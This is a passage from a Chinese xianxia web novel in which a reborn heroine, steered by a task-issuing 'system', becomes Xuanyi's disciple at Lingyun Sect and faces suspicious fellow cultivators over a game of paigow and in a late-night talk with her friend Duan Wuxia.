明明是看起来狼狈不堪的姿态,她颤抖的手却早一步放在面前扼住她脖颈的冷漠少女身前,指尖酝酿起一阵躁动的灵力,不偏不倚落在对方心口处。
脖颈处的冰冷使她咽喉痛凉,整个人漫上窒息的错觉,拒霜看上去也不比她好多少,脸色白得几乎要与头顶月色融为一体,身体微不可察的战栗着,心脏处还蕴着不经意的抽动起伏,整个人看上去羸弱单薄。
双目相对,没有人说话。
良久,或许是双方带来的杀意和痛感都太过明显,岳寄欢嘴唇嚅嗫了几下,还是问出了那个她想问很久的问题:“你为什么也非要拜入玄意师尊门下?”
她的声音嘶哑又冷脆,愈听愈痛彻。
拒霜背对着月亮,眼睛黑漆,五官隐匿在黑天里,只能依稀刻画出一个模糊的身形,反问道:“每个人都有自己的理由,你呢?”
“没什么不好说的。”岳寄欢张张口,“我需要他,他也需要我,我没办法再眼睁睁看着他离开我们所有人。这就是我的理由,拒霜。”
四周突然刮起一阵强盛暴烈的风,裹挟着无尽的苍白与无措袭向倒在一片树林中狼狈无力的两人,这股风中还依稀混乱着几缕冷冷的寒霜,不过一息之间便被风完完全全覆盖,整片灵树丛轰然发出一声巨响,烟雾尘埃,什么也瞧不见。
天阶口,燕须霁三人被这声吓得一跳。
天阶上,还在爬梯子的众人纷纷回头看向声音的来源,疑惑又震惊。
凌云宗大殿之中,只余下一片沉默。
无人知晓倒塌在树丛里的二人究竟说了什么,无人知晓她们究竟使用了多旺盛充沛的灵力,刚才播种好的灵树丛此刻已经倒塌完大部分,破破烂烂得比之前更盛,一塌糊涂,灵树丛体无完肤。
风动霜寒,一句低弱得不能再低弱的声音消散在黑漆漆的天,却并不充斥退缩与害怕,只是像那种春寒料峭的时节里房檐屋瓦上层层化开的冰霜,被孤零零的徐风一吹,就一滴一滴连珠落下,漾开后平静又冷淡。
无悲无喜,傲骨如霜。
“你赢了。”她道。
22. 拜师大典
“...宿主?”
“宿主?”
“宿主!”
“宿主宿主宿主!岳寄欢!岳!寄!欢!”
“行了别吵了,疯了?”岳寄欢不耐烦地睁开眼,撑起身懒洋洋问道,“你前两天又跑去哪里玩?最近总是不见你。”
系统扯了个鬼脸:“我也是需要休息的好吗,除了发布任务和完成提醒,”他声音带着些困倦,“我都在休眠。”
岳寄欢意外地瞧着它:“你还需要休眠?”她咕哝道,“以前好像没这么累吧。”
系统:“很正常,以前不明显而已。”它打了个话岔,又问,“听说你和那个名叫拒霜的小姑娘打了一架,身体还好吗?”
岳寄欢没回答,只是掀开被子下床点上灯,又去桌上给自己捞了个茶杯倒水喝。其实她昨天下午就醒了,昨夜离和拒霜比试那天已经过去了整整四天,第二天就是拜师大典,也就是今日,现在刚过寅时她便彻底睡不着了,只好爬起来和最近安静很多的系统有一搭没一搭地聊天。
见岳寄欢不说话,系统又绕到她面前,停在了这间点着一支油灯的小桌上。屋内亮着的微明昏黄摒弃开了周围的黑暗,灯下只能勾勒出岳寄欢略带稚气的侧脸,顺带轻柔地包裹住她眼前这只亮黄的系统。
灯光被窗缝中溢进的风吹得飘摇,忽明忽灭。岳寄欢慢慢吮着瓷杯里的茶水,茶水早已经冷了,咽在喉咙中有几分干涩的感觉,涩得她不是很想开口说话。想了想,她还是温吞地回答系统:“比试了一场,我赢了,身体没什么大碍。”
那天分出胜负后她便和拒霜被压在了大片灵树丛下,断裂得东倒西歪的树是她毁的,树上凭空生出的层层冰棱是拒霜做的。
至于空气中那抹若有若无的血腥味大部分来源于她,刚开灵根便无节制使用灵力,身体一时承受不及,她“哇”一口血吐在心口处的衣服上,拒霜就在跌在她身侧,身上也无可避免的沾染了些,两个人看上去浑身都显得血淋淋的。
最后还是燕须霁他们费力攀着倒成一片的树木摸索到了压住岳寄欢和拒霜的那片废墟前,恰好看到她二人刚刚扒开身上胡乱压着的树,正血糊糊地互相搀着走出来。
这副场景差点没给燕须霁三人吓得晕过去。
后来的事情岳寄欢记得不甚清楚,她和拒霜都有些晕乎的模样,只依稀想起来好像是宋折镜几人下了天阶把她们带回了凌云宗,她一睡就是四天,昨天下午醒后发现没什么大碍,便和拒霜又去了太清殿,殿内值守和各位长老只说倒塌的树木也无须再种,此后按照灵石赔偿给执事堂便好。
一万灵石,她和拒霜一人一半,一人五千。
她真是哪哪儿都欠着一屁股债。
而对于凌云宗内的众人来说,他们所看到的也只是二人在灵树丛间又打了一架罢了。
不过是年轻气盛了些,赔钱就好,也算长个记性。
于是事情又绕回拜师一事上,本次凌云宗格外注重天场大选,本就是因为那位神龙不见尾的宗主想要给天饶和玄意再分别择两位亲亲徒弟,今年又恰好碰上两位拼命往凌云宗挤的异行灵根。
但由于两位当事师尊都不甚在意此事,反而还给了弟子间一个竞争选择的机会。
仙游峰也不是拒霜的铁了心的必定选择,她履行赌约,次要去天饶门下也自认未尝不可,一时间倒是还真比不上岳寄欢宁愿不要命也要去玄意门下的疯法。
只是昨日下午在太清殿中不知为何,倒是玄意主动开口要了岳寄欢,虽然当时太清殿上宋折镜的脸色看起来不太好,但岳寄欢也不甚在意。
总有一天他会明白的。
思绪回神,岳寄欢继续小口吮着茶,又听系统道:“宿主,本次任务快结束了。”它顿了顿,“天亮拜师大典之后,本次任务便能彻底结束。”
岳寄欢搁下瓷杯嗯了声,不知在想什么,目光掠向不远处窗缝中的黑天,她身处这间屋子处在清岚院最尽头的位置,遥遥向窗外看去的时候,那是无边际的黑。
因着还未正式拜入师尊门下的缘故,她和拒霜都被暂且安置在清岚院中,这几日陆陆续续来足了爬天阶上来的人,寂静的清岚院也都一下子热闹起来,只是她二人房间离得远,这几间拢在大片茂竹后的屋子也非常安宁平和,只能听清楚风吹林动的声响。
隔着随风晃动的竹叶和黑漆的天,窗外繁星点点,岳寄欢走过去倚着窗一直望到天亮,系统趴在她肩膀上,陪着她漫长而短促地等到日头乍现。
也不知道看了多久,她疲惫地伸了个懒腰,换好执事堂送来的弟子道袍,转身朝着清岚院外走去。
巳时刚过,已经到拜师大典的时间了。
拜师大典就在凌云宗山中腰最中心广场上的万象殿中。
今日热闹得很,殿口是排列整齐等待拜师的新弟子们,广场周围是挤得挨挨囔囔来观看大典的门内弟子,喧哗鼎沸。
岳寄欢顺着人群等在万象殿前,她们这一批弟子不过二十人左右,除去她和拒霜做了长老的亲传弟子,其余人大多做了外门弟子,至于湛家兄妹和燕须霁天赋尚优,堪堪做了内门。
那个被燕须霁称作“乐恣”的姑娘似乎也在内门之列中,眉眼依旧倨傲,独自一人抱臂站在远离众人的一侧,身上的弟子道袍稍微替她增添了清离的意味,压制了两分贵气。
岳寄欢有一搭没一搭地扫视着周围的众人,和旁边的燕须霁三人聊了几句,就听耳边有一道熟悉的声音响起:“怎的来这么早?也没喊着我一起来。”她语气埋怨。
岳寄欢侧身塞给她一枚灵果:“我瞧着你屋门大闭,以为你早早就来了。”她咬了一口自己手里捏着的灵果,含糊道,“这个点还没吃东西吧,这个挺甜的,吃点?”
拒霜指尖捻着果子,小小咬了一口:“昨夜睡得有些晚了,一直未醒。”
自从那日和拒霜比试完后,虽然两人之间言语上都没在试探些什么,但岳寄欢总觉得自己和对方的关系稍稍变得微妙起来,不是那种卡在敌对和欣赏之间的关系了,从初遇到如今,短短几日,倒像是真的变成——
说挚友太过,那就是朋友吧,她想,对,真正的朋友。
果子被两口吃完,相比于岳寄欢这种囫囵似的吃法,一旁的拒霜显然就优雅得多,慢条斯理,咽了好几口才把这枚小小的甜果吃下。
今日阳光灿烂,盛日烈阳下,岳寄欢略微阖着眼皮,随着前方人流缓缓走进万象殿。
钟鼓齐鸣,殿内香烛流溢,半圈高位坐着长老师尊,岳寄欢随着众人叩拜在殿中,殿上是天饶的声音,这声音庄重严肃,如洪钟大吕:“尔等既入我宗,今后便是我凌云宗弟子,此后应当以修行为重,以心悟道,以行证道,以振我宗门,为我苍生。”
话落,众人皆是齐齐应下,殿中流香四溢,弟子们纷纷拜上,殿中不再显得那么清冷。岳寄欢缓慢跪立在殿前,迎着头顶落下的天光,抬眸与面前神情冷淡温和的玄意对上。
她微不可察地颤着手,将手中的拜师茶递去。
这位别来无恙的师尊一如当年,饮了茶,随后将手中温润贴合的银镯绕上她手腕。
这是凌云宗弟子的象征物。
冰凉的触感,好像能抹去腕上那枚莹亮的
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印记。
岳寄欢闭了闭眼,抑住眼眶那抹滚烫的泪,俯身拜下:“道心为誓,天地为证。弟子岳寄欢,拜见师尊。”
与她的声音一同响起的,还有另一声响亮的叮咚声——
【任务二:到达天场,顺利进入凌云宗,成为玄意座下弟子(任务进度:100%/100%)
第二次任务奖励:一百五十积分(已抵扣),璇玑扇×1】
“宿主,请查收。”
*
拜师大典结束后已经是下午了,玄意带着岳寄欢回了仙游峰,拒霜则是跟着天饶去了天星观。
其余人也陆陆续续离开了万象殿。
仙游峰处于凌云宗东边最高处,隐在宗门一片茂密的云雾竹林后,恰好对着盛阳升落的方向,峰上鲜花灵草栽种得多,在阳光下显得便格外艳丽柔亮。
岳寄欢从剑上跃到仙游峰这块平整的土地上,玄意带着她一路往峰中走,峰内北边深处是玄意座下几位弟子住的地方。对于眼前熟悉非常的景象,岳寄欢简直算得上如鱼得水,她步伐中难得带着些轻巧的喜悦,一时竟没注意到身前的玄意停住了脚步,正侧身垂眸望她。
在越过对方往前走之前,岳寄欢回神猛然止住了步子。
她略略心虚:“师尊怎的了?”
玄意慢悠悠掉过身,他个子比岳寄欢高出一大截,在岳寄欢身前投下一片阴影,因此显出几分特殊的压迫感。
“徒儿瞧起来倒是对仙游峰很熟悉。”他无害的笑笑,“走起来轻车熟路。”
岳寄欢面色不改:“我一直跟在师尊身后走,哪里谈得上什么轻车熟路。”
她心口一悬,只说:“是拜入师尊门下太过欣喜,一时走神,还望师尊谅我。”
见她这样,玄意倒也没多为难,笑道:“不必紧张,逗你玩玩而已,怎么把天阶口那么一大片灵树毁了不紧张,现如今和我说两句话便无措起来。”他摊手,“你这性子现如今瞧倒是和你大师兄相似的很,不经逗。”
岳寄欢:“......”
亏得她还紧张了半天,一下子忘了玄意就是这副爱逗弄徒弟玩的性子。
她打着哈哈把这件对她而言有些惊悚的事情模糊而过,玄意一路和她聊着,又将她带到灵苑门口。
灵苑内便是仙游峰弟子所住的地方,原本只有宋折镜柳扶荔还有单若水住,现在加进来一个岳寄欢,便自然而然被玄意攘去了那条开满各色艳丽之花的西走廊一侧,这侧是整个灵苑风景最好的地方,白天是明亮初阳,夜晚面对着清风繁星。
这也是单若水住的一侧。
走上垫着层层木板的西走廊,隔着丛丛灵草与鲜花,日暮流光间,能瞥见一道身着如水蓝衣的女子。
那抹日头最后的灿烂阳光渗在她发间,糅杂着花影斑驳,朝气和煦。
玄意带着岳寄欢走到了对方面前。
对方弯着腰,正在给灵花灵草浇水,听到这不算小的动静,便不由得直起身子面对来人。
玄意对上她的眼,温柔道:“若水,这是你四师妹,你带着她去收拾收拾房间,她年纪尚小,好好照顾她。”
蓝衣女子粲然地笑笑应好,而后掠向师尊身后那抹慵懒冷清的身影。
这身影看见她时怔愣了一瞬,眸子中闪过细碎的光,忽地乖乖喊道:“师姐好,我是岳寄欢。”
她收起了那抹懒散与放松,挺拔地站在鲜花丛里。
好像在面对什么很重要的人。
见此,蓝衣女子缓缓伸出了手,歪头笑道:“四师妹啊,你好,我是你的三师姐,单若水。”
23. 推牌九
等到最后一丝阳光完全落下,接近傍晚,单若水已经带着岳寄欢收拾好房间,告诉好她之后该去宗门内哪个学院上课,不过大多数时候她会由玄意亲自教导,宋折镜这位大师兄偶尔代劳。
单若水还顺便带着岳寄欢吃了点东西,给她换下了弟子道袍,重新换了身衣服,朝她空空如也的发间簪了一只雕着细小玉花的垂珠步摇。
恰好符合她这个年龄,更显灵动。
单若水满意地点点头:“你此后去学院上课或者参与正式场合时再穿道袍也可以,将手镯带好便行,还是我做的衣服好看。”
岳寄欢很配合她:“谢谢三师姐,寄欢很喜欢师姐做的衣服。”她低头瞧着身上淡紫的留仙裙,又点点头上的发簪。
单若水眉眼弯弯,嫣然一笑。
这位三师姐前世就爱做些衣服首饰,尤其是岳寄欢来后,或许是有了愿意给她打扮的小姑娘,便格外爱给岳寄欢做些漂亮的衣服样式。
岳寄欢自走进仙游峰第一天,身上的衣服首饰便几乎来自于单若水之手,她三师姐同她的眼光非常相似,大多时候是给她做些丁香紫色的衣裙,年龄相差不大的两人在一起相当有话题,从天南聊到海北,上到人间轶事,下到宗门内八卦铁闻。
见到单若水,岳寄欢也非常高兴。
今日是难得欣喜的晴天。
处理好一切已经天色渐晚,偌大的灵苑中除了单若水和岳寄欢,一时不见其他人的踪影。
宋折镜和柳扶荔半个影子都瞧不见。
岳寄欢犹豫片刻,还是问一旁正在挑珠花的单若水:“三师姐,怎么不见大师兄和二师兄他们。”
单若水不知道宋折镜与柳扶荔提前见过岳寄欢的事情,便道:“师尊和你提过他们了?”她思索着,又说,“我听说今晚青鸾宫和遥香谷那几位要来,二师兄约了他们推牌九,估计是去天阶口接去了。虽是熟人,但宗门外人进入宗门也须通报,那几人都是宗门间相熟之人,待会你见了无须紧张。”
她又指了指灵苑外,仙游峰那座漾在长廊清荷池中的映月亭,解释道:“喏,就在那玩,玩闹一事师尊看管甚松,你同我们一起去吧,不必害怕。”
岳寄欢点头:“好,不会害怕的。”
单若水只以为她是胆子甚大,便伸手揉揉她头顶柔软的发,喟叹道:“小师妹乖乖巧巧的就是好啊,比大师兄他们好多了。”
岳寄欢笑眯眯:“师姐也好。”
天完完全全黑下来了,单若水带着岳寄欢起身去往仙游峰长廊中的映月亭。
清荷池处在仙游峰花丛长廊最尽头的位置,这片夏天里开满荷花的水池非常之大,将中心那座高阔的映月亭簇拥在碧波荡漾的水面上,亭子上挂了几颗错落的柔光珠,接连着天上的圆月,齐齐映在水中。
柔和明亮裹挟着水中的月亮。
岳寄欢望着水面上晃荡的月影,微微怔神。
以前他们师徒几人每逢过些年节就喜欢凑到映月亭里吃饭喝酒。
虽说都是修仙者,但几人间都很默契,并没有辟谷的习惯。
可以忍耐饥饿,但不能不吃。
抛开吃饭一事,这里就是柳扶荔凑牌局的地方。
戌时已完,单若水已经同岳寄欢在映月亭等待了一刻钟左右。清风揽月,不远处倏尔传来些稀碎的说话声,伴随着低低的浅笑,而后是几盏在黑夜里点点莹亮着,像萤火飞旋。
岳寄欢抬起眼,望向匆匆来人。
那是眼眸含笑的柳扶荔,他正在同一旁弯着眉眼的段无瑕说话,段裳裳和宋折镜掌着灯走在最前方,身姿挺拔;而走在稍后一些的两人略微隔开了一些距离,个子高的那个少年眉目间簇着些漫不经心,个子矮些的小孩紧紧跟在他身后,神情紧张。
单若水朝几人招了招手,喊道:“大师兄,二师兄!”
柳扶荔听闻,步子急促了几分,快步走到站在亭前的单岳二人面前,道:“三师妹。”他状似不熟,一脸正经地看向岳寄欢,拖着调子喊了声:“这就是四师妹吧。”
岳寄欢瞧着他这副样子,很乖顺地接着他的戏:“二师兄好。”
他二人对上视线的那刻都有些憋不住笑意,但碍于周围人都看着,便暂且忍住。跟在柳扶荔身后的宋折镜盯着他二人看了两眼,眉头稍蹙,又缓缓挪开视线。
几人都已经走到映月亭口,宋折镜淡淡道:“进亭吧,别愣在门口了。”
段无瑕和三三倒是很兴奋,三三迈着步子往前扑,那句“阿姐”刚卡在喉咙里,就被谢忧勾着后领一把带了回去。
三三非常不高兴,小声憋出几个字:“你到底要干什么?”
谢忧坏笑:“为了你的安全。”
三三:“......”岳寄欢到底哪里不安全了。
介于谢忧这人抓着他的小秘密,他只好不忿地站回谢忧身侧,只是隔着人群踮起脚,遥遥望着岳寄欢的方向,想着待会进了亭子便要挤到对方旁边去。一旁的段无瑕没人管,张开手就往岳寄欢那边扑,喊了句“小欢。”她又朝旁边的单若水露齿,像朵冷夜里的向阳花,“单师姐。”
单若水“哎”了声:“无瑕师妹。”她又偏头去看段裳裳,“裳裳也来了?”
执灯的段裳裳朝她点点头:“若水。”
段裳裳与单若水一直称得上玩的亲近,上一世便是如此,而那时的岳寄欢除去宗门之内的人外不甚与其他宗门的人来往,因此即使与单若水相好,却与段家姐妹不太相熟。
倒是和今世完全相反。
岳寄欢应了段无瑕,也去看段裳裳道:“裳裳姐。”秉着不拉任何人的面子,她停顿弹指,行礼道:“大师兄,谢小仙君。”
她自然看见了站在谢忧身旁欲上前的三三,安慰似的弯了弯眉眼。
三三这才完全安静下来。
谢忧与宋折镜这对岳寄欢怀疑最深的二人今夜也无扰兴致的意思,皆是漠然地朝岳寄欢颔首。
岳寄欢眼底划过一丝沉默,微不可察地捏了捏裙边。
气氛如水中冷月,逐渐安静下来。
单若水眼观鼻鼻观心,多瞧了面前的几人一眼。
因着前些日子她在养伤的缘故,宋折镜他们并没有和她说救下岳寄欢一事。
看上去,这位新来的四师妹似乎和来的众人都很熟悉。
和段家姐妹关系不错,二师兄对她的态度也很好,那位跟在谢忧身旁的小孩显然也认识她,还蛮兴奋。
对岳寄欢态度冷漠,甚至厌厌的,就是她大师兄宋折镜和青鸾宫那位平常不怎么露面的少宫主了。
所以今日瞧见谢忧也一道来仙游峰凑柳扶荔的牌局,单若水还有些意外。
也不知这几人之间到底发生了什么。
时间没有给她多余思考的机会,几人已经被柳扶荔簇着进了亭中,八人恰好被分成了两边,也不知是如何莫名其妙地挨着坐下,等几人完全端坐在亭子里时,岳寄欢左手边坐着谢忧,右手边坐着宋折镜。
“......”
天要她亡。
这两人如两块巨大的寒冰一般在她周围嗖嗖发散着冷气,同岳寄欢隔着一个谢忧的三三欲哭无泪,看上去十分想把谢忧掀开坐到岳寄欢旁边。
柳扶荔也是一愣,显然没想到这么胡乱凑着坐能把岳寄欢夹在目前把她当敌人的两个炮仗之间。
他自己的位置反而处在
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了三个姑娘里。
柳扶荔:“......”
他快速起身道:“四师妹,你来这里坐。”
说罢,他忙不迭扶着岳寄欢的肩推着她往一堆姑娘中间走,岳寄欢也反应极快地转身就往段无瑕她们那边逃,活像身后追着什么妖怪。
两人以众人完全没有反应过来的速度换好了位置,岳寄欢心满意足地在段无瑕和单若水之间坐下,刚抬起头,就对上对面谢忧和宋折镜直直望过来的冷光。
岳寄欢一僵,心想她二师兄选的什么狗屁位置,这下刚巧给她坐到这两人正对面,使得她如坐针毡,不如不换。
顶着对面接连几道强烈怀疑的目光,她硬是低着头,一直和身旁什么都没察觉的段无瑕搭话。
微风拂过水面,往众人身上扫来丝丝缕缕的凉气。
月光如水。
柳扶荔姿态优雅地从储物镯里掏出两幅骨牌,在众人面前摊开道:“好了,今夜本就是来凑着打牌九的,这么严肃干什么。”
他说罢,将牌推开,分了一副给岳寄欢她们几个小姑娘玩,又侧眼笑瞧宋折镜:“想什么呢,来吧,不是说打到通宵也行?”
宋折镜敛着眉眼,修长的指尖攀着制作精巧的木质骨牌,低低嗯了声。
柳扶荔又把洗好的牌推给谢忧和三三,道:“仲玉,你也来玩。”他看着三三,“三三会不会?”
三三却道:“不太会,我想让我阿姐来教我玩。”
他声线有些发抖,看着像鼓起一番决心说出的话,这话却是使在场几人微微怔住了。
三三眨眨眼,朝对面正和几个没心思打牌只顾聊天的姑娘软软喊了句:“阿姐,来教我玩。”
他也没察觉出岳寄欢同宋谢二人间的暗流涌动,只是一心希望岳寄欢来陪他。
彼时,岳寄欢正和段无瑕聊得开心,听见三三语气温软地喊她,她把玩着手中质感温润的骨牌,顺口应了句:“三三啊,好。”
柳扶荔那侧完全宁静下来。
岳寄欢这才急忙止住话,猛然回头看向三三。
她这才记起来,三三一个小姑娘夹在一堆男子之间玩闹不合适,而这语气听起来,更是有些紧张和期待。
她刚刚一时答应得急,也没注意到三三是喊她去推牌九。
加入这场冒着无形火气的牌局,显然不可能。
去拒绝方才答应好的三三这孩子的请求,也不可能。
岳寄欢凝滞一瞬,迅速转圜了话题:“三三,你过来和我们一起。”她咽了口唾沫:“过来,我给你剥甜果吃。”
映月亭中恢复了那副同镜花水月般宁静沉默的氛围,对面几人纷纷抬头看向姑娘们这边,两边都一时滞住。段无瑕半张着口,心里扬起奇怪的疑惑,段裳裳静静垂着眼皮,只是单若水微微眯着眼瞧了瞧僵成一条的岳寄欢和对面几个心思各异的少年,心头一动。
三三听闻,下意识站起身。
一旁的谢忧却突然将他拦住。
三三气鼓鼓回头。
四周酝酿着水波纹与清香,空中飞舞着点点萤火。
依旧被拦着的三三恨恨,只得坐回原位。
月光下,谢忧微微撑着下巴侧头,唇角带了点浅淡的笑。他望向坐在他对面的岳寄欢,隔着稀疏的月光,眉眼缱绻懒散,眼尾上挑,眸中含着微薄的促狭:“三三既希望你来教他,那岳师妹便来吧,不是也有些日子没见他了吗?”
“推牌九也算得有趣,瞧着你一直捏着这骨牌,想来玩的必是不错,不如来陪着三三玩两把,我便也能,”这祸水笑得勾人,眼神却冷:“望岳师妹赐教。”
他道:“毕竟你的运气,一向很好。”
24. 坦白
皎皎水中月,粼粼波上光。
这个时节环绕着映月亭的清池中荷花还未开,只是依稀交叠着几片枯荷枝,正宁静滞在水面上。枯枝随亭中人半带玩笑和轻微挑衅意味的话轻轻颤动,漾开了一池倒映风月的水。
听闻谢忧如此说,岳寄欢也没惯着他,微笑着道:“谢小仙君说笑了。”她略带讥讽:“我的运气可算不得好,若是好,便也不会遇见你了。”
“是我救下的岳师妹。”谢忧接上话,指骨摩挲着骨牌刻面,刻面上有粒粒凸起,不规则地蹭上他指腹那层薄薄的茧,“捡回一条性命不算好运气?那岳师妹今日便不会站在这里了。”
救下?那便当是你偿还上辈子好几次差点把我打死的债罢了。
虽然你也差点没能在我手下活过去。
想到一些往事,岳寄欢的脸上依旧挂着那副得体的笑。笑意在她脸颊两侧勾起浅浅的酒窝,衬得她面容比平日温和了些许,咬字却强硬起来:“你不是说那是我演的戏?”她没有顾忌在场的其他人,“没有你,我同样会来到这。”
场面沉寂无声。
在场几人心中都多多少少明知她这一路来的事情,谢忧现在当着众人把话挑开分明就是想迫着她说清楚,她便如了对方的愿,无所禁忌。
岳寄欢把话撂下,这下不止是谢忧,宋折镜一直低垂着眉眼也忽地抬起,不经意地掠着她。
顶着这些怀疑的目光,夜晚冷风吹起,岳寄欢发间系着的那条绛紫绸带随风刮过她脸侧,蹭得她心头扬起一抹不耐烦。
她突然有些恶趣味地一字一句地接上了本该停止的话:“因为,我命该如此。”
她每吐一个字,就盯着对方更加强硬一分。一直撞着谢忧那双含着沉沉月光的眼,丝毫不怯,把自己含糊成对方眸光下那弯避不开的痛沙砾。
最好能把他折磨得生死不能。
只是跟着岳寄欢这两句话一出,除去谢忧和柳扶荔分毫不动的神色,周围人反应终究是变了。
宋折镜不知道那日天场选拔途中谢忧出殿去试探了岳寄欢具体说了什么,他只知道这件事的大概,不过柳扶荔似乎也知道点那日发生的事情,今日之事好像全在他的意料之内。
毕竟他的反应也太平静了些。
宋折镜下意识想起前几日,岳寄欢刚上凌云宗天阶的那天早晨,他匿在雅屋后瞥见的两道熟悉身影。
想到这里,他放下了手中的骨牌,起身绕到岳寄欢后侧一些,正想要说些什么。
其他人还缓和在刚刚谢忧同岳寄欢这场意味不明的对话里。
有一道身影却先比宋折镜动,随即道:“我今日乏了,不想玩了。”段无瑕神色平静,说话也收起了一贯的语调,像一条拉直的平线。
见众人仍是待在原地不动,她难得在这群熟悉的人面前端起了那副傲气骄纵的模样,冷冷道:“你们要玩便接着玩吧,我先去歇息了。”她扫了眼柳扶荔,“抱歉了柳师兄,我实在困倦。”
柳扶荔善解人意地笑笑:“无瑕累了便去歇息,毕竟这几日新弟子进门,想来你也累得很。”
“那便行了,今日便到这里吧。”柳扶荔皮笑肉不笑道,他打了个哈欠,“恰巧我也困了。”
“......”
这人不是刚刚还道要打个整通宵?
宋折镜不动声色地望了两眼身旁的人,又见已经往外走的段无瑕在亭口走廊上停下脚步,回身对映月亭石桌上还在和谢忧冲着挑衅眼神的岳寄欢扬声说道:“小欢,你同我一道去休息吧,我今夜同你住一间。”
段无瑕此前也没少来仙游峰玩,也时不时会在这边住上两日,一般是一个人住着单若水旁边那间厢房,从不和别人混住。众人听着段无瑕这句,一时从对谢岳二人的猜忌转移成了‘段无瑕这姑娘居然会有求着和别人住一间屋子的那天’中,段裳裳安静地坐在原处,目光游移。
听见段无瑕喊她,岳寄欢逐渐收回了和谢忧对着的目光。她撑着石桌缓慢站起来,裙角和发带都在徐风同月色下偏动,隐在夜里像一颗孤立的斗星。
谢忧随她动作而拂袖站起。
他环臂抱着的那柄稍稍在月光下露出剑身的断水,此刻闪烁着一斜银光。
岳寄欢凝视着对方手中的剑,轻声道了句:“我先走了,谢小仙君既如此喜欢猜疑别人,那便猜去吧。”背对着众人,她迈着步子想要朝亭外走去,眼前是倚着亭柱懒洋洋的柳扶荔,和亭口背身等她的段无瑕。
岳寄欢堪堪擦着对方身侧而过,裙袂碰上对方衣角,眼睛却直视前方。
她忽地想改变这世与谢忧两不相欠的想法。
是他先惹起的祸端。
她带着笑的气音如风声轻微缠上谢忧耳边,将那日在天场花林中对方说过的话悉数奉还。岳寄欢用只有二人能听见的声音狠厉道:“毕竟在你猜到一切之前,我会先杀了你。”
*
跟着段无瑕一路从映月亭走到开满艳丽鲜花的西走廊,头顶是白白的月光,脚下是被月光投出的黑黑影子。
段无瑕走在岳寄欢前面一些,沉默无言,步伐迈得很快。岳寄欢跟在个子和自己差不多大的小姑娘身后,一时间也不知道说什么,只得飘忽地在月下走着神。
刚才她走的时候问了句三三,想要带她一起走,不过宋折镜他们拦住了。三三虽想她,但这会瞧起来竟也不是很想跟她一起走的犹豫模样,岳寄欢见此便也没再多说什么,三三跟着宋折镜他们总不会出什么错,虽也是个小姑娘,但总不缺侍女照顾,她倒也不是特别担心。
她这边想着,心思活络之间,也同样注意到了前方段无瑕映在月光下倏忽不动的影子。
岳寄欢在心中默默叹了口气。
那日天场选拔,她在花林中同谢忧打了一架的事情段无瑕显然是看出来了,只不过顾忌着她自己不想说,对方便也没强求。仔细想来这段无瑕终究是从小活在遥香谷仙家宗门中的孩子,心思必然差不到哪里去,这么多的事情下来不可能对她一点没有怀疑和猜测。
她这一路下来几乎满身破绽,想不怀疑都难。
不过段无瑕终究是把她当成了朋友,便也事事让步,假装不知。
面对前方那道漆黑的影子,岳寄欢停下了脚步。她站在离段无瑕身后不远处,聚焦目光片刻,道:“无瑕,你要问什么便问吧。”
风中沉默着,只有隐约能听见的春蝉鸣声,回响在寂静的月夜。
良久,段无瑕沙着嗓子开口说:“我听说你入宗门几日,同别人在凌云宗天阶口树林里打了一架。”她原本带着细稚的音线低了几分。
岳寄欢轻轻嗯了声。
“我当时除了想到你是不是受伤了之外,还想了些别的。”段无瑕开门见山道,“比如谢忧和宋师兄为什么自天场选拔后便一直针对你,为什么你会在刚开慧灵根的时候就能熟练掌握灵力,毁掉了那么一大片灵树丛。”
岳寄欢面色不改,只是静静听着她把这些事情像黏糖一样揉开拉长。
段无瑕略略侧身,影子被霜白的月光拉得纤细而
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薄:“你被我们从羡水城带回遥香谷那日,我的人就瞧见了你腕上的印记。还有,你大概不清楚,天场选拔那日我为什么要再次问你,‘刚刚真的没发生什么吗’?”
“因为你的脖颈上,留着断水剑的剑痕。”她很肯定,蝴蝶发带在夜空中生动地翻飞,“同银丝一样,我不会认错。所以那日你去花林里同谢忧打了一架,是不是?”
岳寄欢微阖着眼,还是回答她:“是。”她喉咙干涩,解释道:“他不信我,我们便打了一架。羡水城会受伤是因为我连着赶了好几日的路,又带着三三跑很久,体力不支才会被伤到。”
“我知道你们都在怀疑我。”岳寄欢捻着裙边纱,很平和地说,“我原本也想过隐藏起一些,至少不要让我的言行同身世看起来实在不符。”
没等段无瑕开口,她继续道:“可我要完成的事情,无法让我这么做。”
岳寄欢说:“从遇见你们那一刻起,我就完全没有要遮掩太多的意思,你们很聪明,所以我没有必要。就像现在这样,我方才在映月亭中直接把话说出来,是因为你们所有人都知晓,都在等着我说。”她耸肩,出口的话有些天真的残忍,“不过你想知道的很多事情我现在不能告诉你,不管是我这个人,还是我和别人那点恩怨,生死有命,都与你无关。”
“不要随意扯进别人的因果。”她单薄的身体在风中挺立如纫草:“我只能告诉你,不论是我手腕上的印记还是能够熟掌握灵力一事,总之我要做的事情不会威胁到你们,自然也不会害你们,我比你们所有人都更想护住寻仙山。不过你们疑我也无妨,这是太正常不过的事情。”
“每个人都有自己的秘密。”岳寄欢一顿:“也罢。方才谢谢你,无——”
“行了。”段无瑕打断了她,问:“我只需要你告诉我,你有没有骗我?”
面对这个看上去冷静又聪明的小姑娘,朗朗风下,岳寄欢不会犹豫:“没有。”
她已经做好了今晚和谢忧在众人面前撕破脸的准备,自然也做好了和段无瑕把话说清后再不往来的准备。
这般局面下,岳寄欢竟然一时间摸不清段无瑕这姑娘究竟是生气了还是厌恨了,总归怪她隐瞒太多,活像个满口谎言胡话的骗子。段无瑕若是一气之下离开,她拿什么脸和这个本世第一个遇见的朋友接着交往。
岳寄欢说完,心中莫名浮起怪异的酸痛感。
已经好久没有体验过,这种拥有纯粹情感的感觉。
西走廊的鲜花依旧开得艳丽。
黑漆的空中填着一轮满月。
远处的映月亭长廊忽地传来细碎的脚步声。
隔着点点花丛,昏暗不远处的段无瑕一身黄衣如月吹拂。她脸上不由自主地变成面对岳寄欢时含着笑意的表情,紧接回身走出了停滞已久的步子。
发丝缠着的绸带像绿枝嫩叶将她包裹其中,是带着生机的美丽年纪,她像一只扑朔的小蝶。
对于岳寄欢记忆里堆叠的数百年来说,眼前的段无瑕于她而言就是个单纯的小孩。
还是那种上一世不太熟悉的小孩。
现今,一切都有些不同了。
刚才佯装大人模样的无瑕一下子缓和了情绪,想起来自己才是个十二岁的小姑娘。
岳寄欢看着这道身影离自己越来越近。
漆黑的月夜忽然充斥满灿阳。
她跃着步子跑过来:“无论有没有,我都不在意那些,我信你的。”
她张开手紧紧抱住她:“小欢,我从来都信你的。”
25. 演戏
